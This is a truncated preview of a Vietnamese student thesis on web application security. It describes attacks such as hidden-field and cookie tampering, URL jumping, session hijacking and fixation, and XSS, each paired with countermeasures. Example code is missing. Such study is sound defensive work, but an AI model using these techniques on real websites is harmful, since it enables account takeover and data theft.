Luận văn Tốt nghiệp-Một số vấn đề bảo mật ứng dụng web

• Phần đầu trình bày tổng quan về ứng dụng web, khái niệm về bảo mật ứng dụng web. • Phần sau trình bày một sốkỹ thuật tấn công vào ứng dụng web, cách phòng chống tấn công. • Phần thứ ba, luận văn đã trình bày một vài tấn công thử nghiệm vào một số trang web theo lý thuyết các phần trước.

pdf45 trang | Chia sẻ: lylyngoc | Lượt xem: 3714 | Lượt tải: 1download
Bạn đang xem trước 20 trang tài liệu Luận văn Tốt nghiệp-Một số vấn đề bảo mật ứng dụng web, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
........................................... 42 4.2. Định hướng phát triển ......................................................................................................................... 42 LỜI KẾT....................................................................................................................43 TÀI LIỆU THAM KHẢO.............................................................................................44 Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 5 - Đại học Công Nghệ - ĐHQGHN BẢNG CÁC THUẬT NGỮ VIẾT TẮT HTML HyperText Markup Language−Ngôn ngữ đánh dấu siêu văn bản HTTP HyperText Transfer Protocol−giao thức truyền siêu văn bản URL Uniform Resource Locator−địa chỉ tham chiếu tài nguyên trên Internet CGI Common Gateway Interface−Chuẩn kết nối ứng dụng và máy chủ Web SSL Secure socket layer−Giao thức truyền thông tin an toàn qua mạng XSS Cross-site scripting−Tấn công chèn mã thực thi lên trình duyệt nạn nhân ID Identification−Định danh Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 6 - Đại học Công Nghệ - ĐHQGHN BẢNG CÁC THUẬT NGỮ URL Jumping Kỹ thuật tấn công nhảy URL SQL Injection Tấn công bằng chèn mã SQL Server Máy chủ Web application sever Máy chủ ứng dụng web Database Server Máy chủ cơ sở dữ liệu Popup Cửa sổ của trình duyệt web được mở ra ngoài, khác với cửa sổ đang làm việc. Session Phiên làm việc của client với server Session ID Mã phiên làm việc của client và server Attacker Kẻ tấn công ứng dụng web Hacker Kẻ tấn công ứng dụng web Cookie Dữ liệu lưu trạng thái trang web của người dùng Admin Người quản trị của ứng dụng web Username Tên đăng nhập ứng dụng web Password Mật khẩu đăng nhập ứng dụng web Client Trình khách trong ứng dụng khách−chủ Firewall Tường lửa bảo vệ hệ thống mạng Request Yêu cầu của client Form Mẫu biểu trong HTML File text Tệp văn bản Session hijacking Tấn công chiếm hữu phiên làm việc Session fixation Tấn công ấn định phiên làm việc Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 7 - Đại học Công Nghệ - ĐHQGHN DANH MỤC CÁC HÌNH VẼ BẢNG BIỂU Hình 1-1 mô tả hoạt động của ứng dụng web ( ............................10 Hình 2-1 Sơ đồ trang của trang web qbssoftware ( Hình 2-2 Dạng cookie của Internet Explorer. ...............................................................18 Hình 2-3 Thứ tự các trang trong ứng dụng thanh toán trực tuyến.................................19 Hình 2-4 SessionID được lưu trong tham số CGI .........................................................20 Hình 2-5 Ăn cắp SessionID bằng cách giám sát đường truyền (nguồn: ) ......................................20 Hình 2-6 Tấn công ấn định phiên làm việc. ..................................................................21 Hình 2-7 các bước tấn công ấn định phiên làm việc. ....................................................22 Hình 2-8 Hacker thực hiện một cuộc tấn công thành công vào ứng dụng web (nguồn: Hình 3-1 trang đăng nhập của admin của trang Hình 3-2 Trang quản lý của admin của trang Hình 3-3 Chèn mã kịch bản vào trang web ...................................................................36 Hình 3-4 Trang bị dính lỗi XSS. ...................................................................................37 Hình 3-5 trang đăng nhập của admin của trang ..................................................38 Hình 3-6 Hình ảnh sau khi đã đăng nhập ..................................................38 Hình 3-7 Trang đăng nhập của admin của trang Hình 3-8 Hình ảnh sau khi đăng nhập của trang : Hình 3-9 Trang đăng nhập của admin trang ..............................................................41 Hình 3-10: Hình ảnh sau khi đăng nhập của trang ..............................................................41 Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 8 - Đại học Công Nghệ - ĐHQGHN MỞ ĐẦU Ngày nay, Internet và các ứng dụng trên Internet được phát triển rộng rãi. Các cá nhân, tổ chức, doanh nghiệp … đều có nhu cầu sử dụng Internet với mục đích riêng. Các dịch vụ trực tuyến ngày càng được phát triển như mua hàng trực tuyến, giao dịch ngân hàng trực tuyến, học trực tuyến…Theo đó các dịch vụ trực tuyến càng được phát triển, mở rộng thì càng có nhiều lỗ hổng bảo mật và trở thành đối tượng bị tấn công với các mục đích khác nhau. Cùng với sự phát triển của Internet và các dịch vụ trên Internet, số lượng các vụ tấn công trên Internet cũng tăng với tốc độ chóng mặt. Theo tập đoàn Symantec số lượng các vụ tấn công bằng mã độc trên Internet năm 2003 là 18.827 vụ, năm 2004 là 69.107 vụ, năm 2007 là 624.267 vụ và đến năm 2008 là 1.656.227 vụ. Riêng trong năm 2008 ghi nhận 5.147 chủng loại mã độc chuyên chiếm quyền kiểm soát máy chủ mới xuất hiện. (Nguồn: whitepaper_internet_security_threat_report_xiv_04-2009.en-us.pdf) Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng mà các phương pháp tấn công cũng ngày càng tinh vi và có tổ chức. Những cuộc tấn công thời kỳ đầu chủ yếu là đoán tên người sử dụng/mật khẩu (Username/password) hoặc sử dụng một số lỗi của các chương trình và hệ điều hành (security hole) làm vô hiệu hóa hệ thống bảo vệ, tuy nhiên các cuộc tấn công gần đây còn bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc rlogin), cài đặt trojan hay worm để chiếm quyền kiểm soát máy tính, ăn cắp, lợi dụng các thông tin của người dùng về ngân hàng, giao dịch chứng khoán để ăn cắp tiền của họ…Vì thế nhu cầu bảo vệ thông tin trên Internet là cần thiết nhằm bảo vệ dữ liệu, bảo vệ thông tin người dùng và bảo vệ hệ thống Đã có những công cụ tự động tìm lỗ hổng để giúp đỡ những nhà phát triển ứng dụng web. Tuy nhiên do nhiều nguyên nhân vẫn có những lỗ hổng tồn tại làm cơ sở để tấn công, có thể là do các nhà phát triển ứng dụng không tuân thủ các yêu cầu về bảo mật trong quá trình xây dựng ứng dụng, có thể do cuộc tấn công là hoàn toàn mới và tinh vi đối với những nhà phát triển và nhà quản trị hệ thống. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 9 - Đại học Công Nghệ - ĐHQGHN Luận văn được thực hiện với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật từ đơn giản đến phức tạp trong các ứng dụng web và các phương án phòng chống các cuộc tấn công. Nội dung khóa luận sẽ bao gồm các phần sau (bốn chương): • Chương 1: Tìm hiểu chung về ứng dụng web, khái niệm và hoạt động của ứng dụng web trên Internet. Đồng thời cũng đề cập khái quát về bảo mật ứng dụng web. • Chương 2: Trình bầy về các kỹ thuật tấn công vào ứng dụng web và cách phòng chống o Các kỹ thuật tấn công cơ bản o Các kỹ thuật tấn công dựa vào trạng thái của trang web o Kỹ thuật tấn công chèn mã lệnh thực thi trên trình duyệt nạn nhân (XSS). o Kỹ thuật tấn công chèn câu truy vấn SQL (SQL injection) và cách phòng chống. • Chương 3: Một vài ví dụ tấn công ứng dụng web bằng các kỹ thuật ở trình bầy các chương trước. • Chương 4: Trình bầy kết quả đạt được của luận văn và hướng phát triển trong tương lai. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 10 - Đại học Công Nghệ - ĐHQGHN Chương 1. GIỚI THIỆU VỀ BẢO MẬT ỨNG DỤNG WEB 1.1. Giới thiệu về ứng dụng web 1.1.1. Khái niệm ứng dụng web Ứng dụng web là một ứng dụng khách/chủ truy cập qua mạng Internet hay intranet sử dụng giao thức HTTP/s để tương tác với người dùng hay hệ thống khác. Trình khách dành cho người sử dụng là một phần mềm phổ biến và chung cho các ứng dụng web chính là trình duyệt web như Internet Explorer, Nescape Navigator. Ứng dụng web rất phổ biến bởi sự cập nhật và duy trì mà không cần phần mềm phân phối, cài đặt tại hàng nghìn máy tính của người sử dụng. Các ứng dụng web phổ biến hiện nay là: webmail, bán hàng trực tuyến, giao dich, đấu giá trực tuyến, wiki, diễn đàn thảo luận và nhiều chức năng khác. Trước đây ứng dụng web được xây dựng trên mô hình tập trung, một trình chủ chạy trên một máy chủ và kết nối vào cơ sở dữ liệu ngay trên máy chủ. Hiện nay các ứng dụng web được xây dựng theo mô hình phân tán, nhiều máy chủ đáp ứng yêu cầu và kết nối tới nhiều nguồn cơ sở dữ liệu tại. Trình chủ được viết bằng các ngôn ngữ như: PHP, ASP, ASP.NET, JSP… 1.1.2. Mô tả hoạt động của một ứng dụng web Hoạt động của ứng dụng web được biểu diễn như hình sau: Hình 1-1 mô tả hoạt động của ứng dụng web ( Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 11 - Đại học Công Nghệ - ĐHQGHN Một ứng dụng web bao gồm hai phía: Client và Server • Phía Client: là trình duyệt web • Phía Server: bao gồm hai lớp trong kiến trúc ứng dụng web, lớp logic (Web Server, Web Application Server) và lớp dữ liệu (Database Server). Bên cạnh đó tường lửa được sử dụng để chống lại sự truy cập trái phép, bảo vệ các nguồn thông tin mội bộ cũng như hạn chế sự xâm nhập vào hệ thống của một số thông tin khác không mong muốn. Chức năng chính của Firewall là: • Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài • Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong • Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập. Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến Web Server thông qua các lệnh cơ bản GET, POST… của giao thức HTTP/s, Web Server lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc Web Server yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình duyệt. Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thông tin do trình duyệt gửi đến…và từ đó trả về cho trình duyệt một luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần: • Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer. • Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì. Theo mô hình ở hình 1−1, với firewall, luồng thông tin giữa trình duyệt và Web Server là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 12 - Đại học Công Nghệ - ĐHQGHN liên quan khác. 1.2. Bảo mật ứng dụng web 1.2.1. Giới thiệu về bảo mật ứng dụng web Bảo mật ứng dụng web cũng tương tự như bảo mật các ứng dụng chung khác. Sự khác nhau lớn giữa ứng dụng client-server cũ và ứng dụng web • Hệ thống client-server trước đây chỉ hoạt động trên mạng riêng, tin cậy. • Ứng dụng web bây giờ được thiết kể để hoạt động trên Internet – một môi trường không tin cậy. • Một vài đặc điểm khác khiến ứng dụng web trở nên đặc biệt: o Nhiều tổ chức vẫn không thực hiện những dự án tạo ứng dụng web như các dự án phát triển o Máy chủ ứng dụng web chủ yếu chạy trên một mạng Lan mở rộng hay một khu không có sự kiểm soát đằng sau tường lửa của tổ chức làm cho chúng trở thành mục tiêu quan trọng. o Rất dễ dàng cho các attacker ẩn giữa khối lượng truy cập lớn được tạo ra bởi trang web. o Dự án ứng dụng web có vòng đời phát triển ngắn và luôn có lý do làm cho chúng phát triển nhanh hơn. o Tính chất không lưu trạng thái của HTTP có nghĩa là tình trạng phiên làm việc của người dùng phải được giữ lại ở đâu đó, có thể nơi đó sẽ bị sự điều khiển của kẻ tấn công. o Thông tin truyền trên mạng Internet không được mã hóa. Ứng dụng web là một trong các trường hợp của ứng dụng client-server trong đó vấn đề bảo mật làm giảm sự cân bằng của những mục tiêu khác. • Tính tin cậy của ứng dụng web đối lập với bảo mật vì rất khó để kiểm thử hoàn toàn lỗi khi xử lý mã. • Hiệu suất cũng đi ngược với mục đích bảo mật vì các phương pháp truyền thống để tăng hiệu suất trong ứng dụng client-server (chủ yếu là đẩy các chức năng về phía client) sẽ tạo ra những lỗ hổng mới. • Tiện ích là đối lập với bảo mật vì càng cung cấp nhiều thông tin cho người dùng cũng là cung cấp manh mối cho những kẻ tấn công về cách làm việc, quản lý truy cập. Các yêu cầu về xác thực thường làm cho hệ thống kém tiện dụng hơn khi sử dụng. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 13 - Đại học Công Nghệ - ĐHQGHN • Khả năng kiểm thử cũng đối lập với bảo mật vì sử dụng các công cụ để kiểm thử sẽ mở ra các cách truy cập vào hệ thống. 1.2.2. Các vấn đề chính của bảo mật ứng dụng web Một ứng dụng web thông thường bao gồm một trình chủ, một trình khách, và một mạng lưới. • Đối với các trình khách, các vấn đề an ninh chính là: o Đối phương có thể giả mạo với bất kỳ dữ liệu nào được lưu trữ trên trang Web của client. Điều này có nghĩa là tất cả các dữ liệu đến từ client phải được kiểm tra sự hợp lệ khi nó được nhận từ server. o Mã nguồn của phía client phải được ẩn với đối phương vì bất kỳ cái gì bắt nguồn từ client có thể bị đọc và giả mạo cùng với nó. o Các thông báo lỗi ở phía server phải bị ẩn với đối phương vì nó có thể được dùng để tìm hiểu về cấu trúc và cấu hình của máy chủ. • Đối với mạng, các vấn đề chính là: o Mọi dữ liệu đến server bằng HTTP đều có thể bị xem và bị giả mạo bởi bên thứ ba. o SSL cung cấp khả năng mật mã, nhưng điều này chỉ ngăn cản xem hoặc giả mạo với dữ liệu giữa các nguồn gốc của nơi chuyển dữ liệu và máy chủ. SSL không thể ngăn cản sự giả mạo khi dữ liệu tại nguồn gốc của nó. Trong chương này, tác giả đã trình bầy về ứng dụng web và khái quát về bảo mật ứng dụng web. Trong chương tiếp theo, tác giả sẽ trình bầy một số kỹ thuật tấn công vào ứng dụng web và cách phòng chống. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 14 - Đại học Công Nghệ - ĐHQGHN Chương 2. MỘT SỐ TẤN CÔNG ỨNG DỤNG WEB VÀ CÁCH PHÒNG CHỐNG 2.1. Các kỹ thuật tấn công cơ bản 2.1.1. Lập bản đồ trang Những kẻ tấn công có thể làm một số việc sau: • Sử dụng một chương trình thu thập đi theo các liên kết trong ứng dụng và chỉ ra luồng di chuyển theo các trang của ứng dụng và cơ chế xác thực. • Đọc ghi chú trong các tài liệu gửi đến trình duyệt để có được sự gợi ý về logic trong kinh doanh hay các thuật toán. • Tìm tên người dùng, mật khẩu, và tên cơ sở dữ liệu trong các các tài liệu gửi cho khách hàng. • Tìm các truy vấn SQL để có manh mối về cấu trúc cơ sở dữ liệu và cách truy vấn được xây dựng từ dữ liệu động. • Xác định vị trí trường ẩn trong form. • Tìm ra giá trị của các tham số chuyển giữa các trang web. • Tạo ra các trường hợp lỗi khác nhau để xem máy chủ trả lời. Một ví dụ là, nếu kiểm tra máy chủ khác nhau đưa ra một thông báo lỗi cho một không đúng tên người dùng so với sai mật khẩu. Hình 2-1 Sơ đồ trang của trang web qbssoftware ( Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 15 - Đại học Công Nghệ - ĐHQGHN Một số đề phòng lập bản đồ trang • Tránh đưa ra các thông tin về các truy vấn SQL. • Không gắn kèm các ghi chú trong mã gửi đến khách hàng. • Không đặt tên người dùng, mật khẩu, cơ sở dữ liệu vào chuỗi kết nối, trong mã và thông báo lỗi. 2.1.2. Đoán tập tin và thư mục Một kỹ thuật đơn giản khác là đoán tập tin và thư mục. Những kẻ tấn công sẽ đoán những tệp và thư mục chứa thông tin quan trọng và cố gắng truy cập vào đó để lấy thông tin. • Tệp tin như config.inc, web.xml, và server.xml có thể chứa thông tin kết nối cơ sở dữ liệu. • Tập tin. Htpasswd có thể chứa thông tin tên người dùng và mật khẩu của họ. • Thư mục như template/ có thể chứa các tệp tin với thông tin về các ứng dụng. Các cách giảm thiểu: • Sử dụng danh sách kiểm soát truy cập để chặn những nguời dùng truy cập vào các thư mục và tệp hệ thống không được phép. • Bảo vệ bất kỳ tệp tin không liên quan đến người dùng, bằng cách đặt chúng trong thư mục bên ngoài hệ thống file hoặc trong những nơi được bảo vệ đặc biệt như WEB-INF/. 2.1.3. Khai thác khi biết những luồng bảo mật Cách khai thác • Tất cả các phần mềm bao gồm cả hệ điều hành, ứng dụng máy chủ, và các công cụ hỗ trợ đều có lỗi. • Khi lỗi đã được tìm thấy, cách bản sửa lỗi thường được cung cấp để sửa chữa chúng. • Thời gian mà các quản trị viên hệ thống áp dụng bản sửa lỗi bảo mật vào hệ thống của mình thì những kẻ tấn có thể khai thác những lỗ hổng đã được phát hiện trong thời gian giữa bản lỗi và bản được sủa của người quản trị Để giảm thiểu rủi ro, xác định các thành phần của bên thứ ba trong hệ thống của bạn, kiểm tra nó và ưu tiên cho việc sửa lỗi bảo mật 2.1.4. Vượt qua hạn chế trên các lựa chọn đầu vào Một lớp tấn công khác là vượt qua hạn chế trên lựa chọn đầu vào Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 16 - Đại học Công Nghệ - ĐHQGHN • Thông tin người dùng nhập vào thường bị hạn chế theo những phạm vi để dễ kiểm soát. • Để cải thiện kinh nghiệm người sử dụng, mã của phía client sẽ thực hiện việc xác nhận dữ liệu của người dùng. • Các ứng dụng được viết một cách đơn giản tin tưởng các giá trị được gửi lên sẽ nằm trong phạm vi mong đợi. • Bởi vượt qua được giao diện người dùng, những kẻ tấn công có thể gán các giá trị tùy ý cho biến đầu vào của người dùng. Để giảm thiểu rủi ro, xác nhận tính hợp lệ tất cả các dữ liệu đến từ client. 2.2. Tấn công dựa vào trạng thái trang 2.2.1. Giới thiệu Giao thức HTTP không lưu trạng thái của các trang web hay người dùng khi tương tác với ứng dụng. Do yêu cầu của ứng dụng web như đăng nhập vào hệ thống để sử dụng những tiện ích hay đơn giản chỉ là đánh dấu những nơi đã đi qua nên các ứng dụng web sẽ lưu lại trạng thái các phiên làm việc bằng cách thiết lập giá trị nào đó được lưu lại ở máy tính của người dùng hay trong mã gửi đến người dùng thông qua trình duyệt. Trạng thái của phiên làm việc sẽ được lưu theo ba cách sau: • Trường ẩn trong form • Tham số CGI (cả trong phương thức GET và POST) • Cookies 2.2.2. Tấn công vào trường ẩn 2.2.2.1. Kỹ thuật tấn công vào trường ẩn Ta có một form gồm cả trường ẩn như sau: Nếu không có thay đổi gì sẽ gửi đến máy chủ nội dung là: Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 17 - Đại học Công Nghệ - ĐHQGHN Nếu hacker thay đổi giá trị của biến “giaca” Thì yêu cầu sẽ thay đổi thành: Và giá trị gửi lên server đã là giá trị bị thay đổi. 2.2.2.2. Cách phòng chống • Đặt cho trường ẩn một cái tên khó hiểu. • Sử dụng các giá trị được băm hay mã hóa. • Nếu có thể thì không sử dụng trường ẩn. • Kiểm tra giá trị của chúng khi đến server. 2.2.3. Tấn công dựa vào tham số CGI Tham số CGI có thể nhìn thấy ở cuối của URL trong yêu cầu GET đằng sau dấu “?”, mỗi tham số là một cặp gồm tên-giá trị phân cách nhau bằng dấu “=”, các tham số được phân cách nhau bởi dấu “&”. Nếu trong phương thức POST, ta có thể tìm thấy ở phần chính của yêu cầu. Ví dụ: %9Bi+Google&meta=&aq=f&oq= Ở đây có các tham số Tham số Giá trị Hl vi Q URL btnG T%C3%ACm+v%E1%BB%9Bi+Google meta Aq f Oq Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 18 - Đại học Công Nghệ - ĐHQGHN 2.2.3.1. Kỹ thuật tấn công vào tham số CGI Ta có thể tìm tham số bằng hiển thị mã hoặc nhìn trên URL Chỉnh sửa URL một cách thủ công bằng cách thay đổi giá trị của tham số hoặc thêm vào các tham số khác. Ví dụ: nếu ứng dụng web cho phép người dùng thay đổi mật khẩu và trang thay đổi có URL truyền đi như sau: Trong URL trên có hai tham số : Tham số user là tên tài khoản cần thay đổi mật khẩu, có giá trị mike Tham số newpasswd là mật khẩu mới cho user có giá trị guessWho Trong ví dụ này ta thay đổi tham số newpaswd có giá trị là guessWho thành bigDummy. 2.2.3.2. Cách phòng chống • Xử lý tham số như xử lý phần người dùng nhập vào. • Kiểm tra giá trị của chúng khi gửi lên server. 2.2.4. Nhiêm độc cookie Cookie là dữ liệu dùng chung của server và client, do server tạo ra và lưu ở máy tính của client (có thể lâu dài hoặc không lâu dài). Cookie được lưu ở dạng file text và chứa những thông tin về người dùng, phiên làm việc hiện tại hay đã kết thúc…Cookie của mỗi ứng dụng web là khác nhau tùy vào người thiết kế ứng dụng, khác nhau theo cả trình duyệt web của người dùng. Cookie có thể được thay đổi dễ dàng trong file text. Hình 2-2 Dạng cookie của Internet Explorer. 2.2.4.1. Kỹ thuật tấn công nhiễm độc cookie Hacker sẽ thay đổi những giá trị các trường trong cookie như là: • Thay đổi thời hạn của cookie Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 19 - Đại học Công Nghệ - ĐHQGHN • Thay đổi các dữ liệu xác thực • Thay đổi thông tin giỏ hàng 2.2.4.2. Cách phòng chống Ta sẽ dùng một số cách sau để chống lại tấn công nhiễm độc cookies • Không sử dụng cookie để lưu những dữ liệu xác thực • Mã hóa các dữ liệu quan trọng • Xử lý cookie như một trường dữ liệu do người dùng nhập vào • Mã hóa tất cả thông tin của cookie. 2.2.5. Tấn công bằng nhảy URL 2.2.5.1. Kỹ thuật tấn công nhảy URL Người dùng gõ vào một URL và nhảy tới trang đó, không tuân theo thứ tự các trang thông thường của ứng dụng. Ví dụ: Người dùng có thể truy cập mà không cần đăng nhập Người dùng có thể mua hàng mà không cần trả tiền. Hình 2-3 Thứ tự các trang trong ứng dụng thanh toán trực tuyến 2.2.5.2. Cách phòng chống • Hạn chế truy cập vào tất cả các URL không dành cho người sử dụng như những trang dành cho admin • Khóa sự truy cập vào những nơi không phải là trang web • Sử dụng thêm cookie, trường ẩn để chặn truy cập vào các trang không đúng trình tự 2.2.6. Chiếm hữu phiên làm việc (Session hijacking) Ứng dụng web lưu trạng thái mỗi phiên làm việc của người dùng bằng mã phiên làm việc (session ID). Server sẽ cung cấp mỗi session ID khác nhau cho mỗi người dùng khác nhau để chứng thực phiên làm việc đó. Để duy trì phiên làm việc, SessionID thường được lưu vào: • Tham số CGI • Trường ẩn trong form Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 20 - Đại học Công Nghệ - ĐHQGHN • Các cookie Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá nhân như tên/mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho những lần yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho những hacker. Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người dùng để từ đó đột nhập vào phiên làm việc của họ. Hình 2-4 SessionID được lưu trong tham số CGI 2.2.6.1. Kỹ thuật tấn công chiếm hữu phiên làm việc Những kẻ tấn công có thể thực hiện những cách sau: • Đoán mã của một phiên làm việc hợp lệ • Ăn cắp một mã phiên qua các mạng lưới giám sát. Hình 2-5 Ăn cắp SessionID bằng cách giám sát đường truyền (nguồn: ) Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 21 - Đại học Công Nghệ - ĐHQGHN • Ăn cắp một mã phiên thông qua XSS. Hacker sẽ sử dụng đoạn mã trên trình duyệt của nạn nhân và gửi kết quả về máy của mình. • Ấn định phiên làm việc. (Session fixation) Trong tấn công ấn định phiên làm việc, kẻ tấn công ấn định sẵn SessionID cho nạn nhân trước khi họ đăng nhập vào hệ thống. Sau đó kẻ tấn công sẽ sử dụng SessionID này để tiếp tục phiên làm việc của nạn nhân. Hình 2-6 Tấn công ấn định phiên làm việc. Tấn công ấn định phiên làm việc gồm ba bước: Bước 1: Tạo ra phiên làm việc: Đầu tiên kẻ tấn công tạo ra một phiên làm việc “bẫy” theo hướng của hệ thống. Có hai hướng có thể: • Hướng tự do: chấp nhận bất kỳ một session ID nào, nếu chưa tồn tại session thì tạo mới một session ID. • Hướng giới hạn: chỉ chấp nhận một session ID đã đăng ký trước đó. Với hệ thống hướng tự do thì hacker chỉ cần thiết lập một session ID bất kỳ, nhớ và sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng ký một session ID với ứng dụng. Bước 2: Ấn định phiên làm việc: Tiếp theo kẻ tấn công phải giới thiệu session ID này tới trình duyệt của người dùng, có thể là gửi thư điện tử. Như vậy là ấn định phiên làm việc của người đó. Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 22 - Đại học Công Nghệ - ĐHQGHN Bước 3: đột nhập vào phiên làm việc của họ. Cuối cùng, kẻ tấn công đợi đến lúc người dùng đăng nhập vào server đích sử dụng session ID đã được ấn định trước đó và đột nhập vào phiên làm việc của người dùng đó. Hình 2-7 các bước tấn công ấn định phiên làm việc. 2.2.6.2. Các cách phòng chống tấn công chiếm hữu phiên làm việc • Bảo vệ cookie chứa session ID bằng cách thiết lập bit an toàn SSL. • Tạo ra session ID mới cho mỗi yêu cầu. • Sử dụng thời gian hết hạn của cookie ngắn nhất có thể • Cho phép người dùng thoát ra khỏi hệ thống, xóa đi phiên làm việc của họ. • Không cho phép người dùng tự chọn định danh cho phiên làm việc của họ. • Sử dụng trường HTTP REFERER để nhận biết nhiều trình duyệt của người dùng có cùng ID. 2.3. Tấn công chèn mã lệnh thực thi trên trình duyệt nạn nhân (cross-site scripting) – XSS 2.3.1. Giới thiệu về cross-site scripting Cross-site cripting (XSS) là một dạng lỗ hổng trong bảo mật máy tính chủ yếu được tìm thấy trong ứng dụng web mà cho phép người dùng chèn mã độc hại và sẽ được xem bởi những người dùng khác.Có rất nhiều loại mã như mã HTML và mã kịch bản phía client. Một cuộc khai thác lỗ hổng XSS có thể được những kẻ tấn công dùng để vượt qua trình quản lý truy. Những lỗ hổng loại này được khai thác để tấn công lừa đảo và khai thác trình duyệt. Từ năm 2007, XSS được tiến hành trên nhiều website và chiếm khoảng 80% tài liệu về các lỗ hổng. Trong một cuộc tấn, người dùng cuối có thể là đối tượng của sự truy cập trái phép, ăn cắp dữ liệu nhạy cảm, và bị mất tiền. Trong những năm gần đây, XSS vượt cả buffer overflow để trở thành báo cáo lỗ hổng bảo mật phổ biến nhất. Ít nhất có khoảng 68% các trang web là có lỗi XSS với Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web Dương Thị Thu Hương – K50CHTTT - Trang 23 - Đại học Công Nghệ - ĐHQGHN những người dùng của họ. Tấn công XSS có thể vượt qua các trình an ninh của hệ thống. Bằng việc tìm ra một cách thông minh để tiêm mã độc vào trang web, một kẻ tấn công có thể có được đặc quyền truy cập vào các nội dung nhạy cảm của trang, các cookie về phiên làm việc, và nhiều đối tượng khác. Cross site scripting đầu tiên được gọi tắt là CSS, mặc dù được sử dụng rộng rãi nhưng bị ngưng lại vì nhầm lẫn với Cascading Style Sheets. Tấn công XSS được viết ở dạng ngôn ngữ kịch bản phía client, chủ yếu là một dạng của ECMAScript (ví dụ: JavaScript, Jscript), có khi bao gồm cả HTML và XHTML. Lỗ hổng XSS được thông báo và khai thác một số trường hợp từ thập kỷ 90. Một vài trang bị ảnh hưởng nổi lên như là trang tìm kiếm Google, dịch vụ mail của Google và Yahoo, các trang xã hội như là Facebook, Myspace và Orkut. Các nhà phát triển của công ty MediaWiki đã sửa ít nhất 20 lỗi XSS để bảo vệ trang Wikipedia và những người dùng khác của wiki. 2.3.2. Kỹ thuật tấn công XSS Các tấn công có thể: • Lấy cắp cookie • Chuyển hướng người dùng đến một trang web độc hại • Trình bày nội dung giả thuyết phục người sử dụng nhập dữ liệu cá nhân Các cách thực hiện cuộc tấn công : • Dạng tấn công XSS được lưu trữ: những kẻ tấn công đặt những đoạn kịch bản trên bảng nhắn tin trực tuyến, tìm kiếm sách, lưu bút, ý kiến ở trang nhật ký… Nói chung là đoạn kịch bản được lưu lại ở trên máy chủ và sẽ được thực thi sau đó. • Dạng tấn công XSS được lưu trữ:Những kẻ tấn công đặt mã kịch bản trong tham số CGI của một URL, do đó khi người dùng nhấn vào liên kết này trang thực sẽ được tải xuống, nhưng bị thay đổi bởi kịch bản được nhúng trong URL, liên kết thật có thể ở bất kỳ vị trí nào, không cần thiết được lưu trên trang. Lưu ý: XSS khác với lừa đảo, trong đó có một bản sao tấn công hợp lệ và các trang web cố gắng lừa người sử dụng nhập vào các dữ liệu nhạy cảm trên các trang web giả mạo. Luận văn tốt nghiệp Một số vấn đề bảo mật 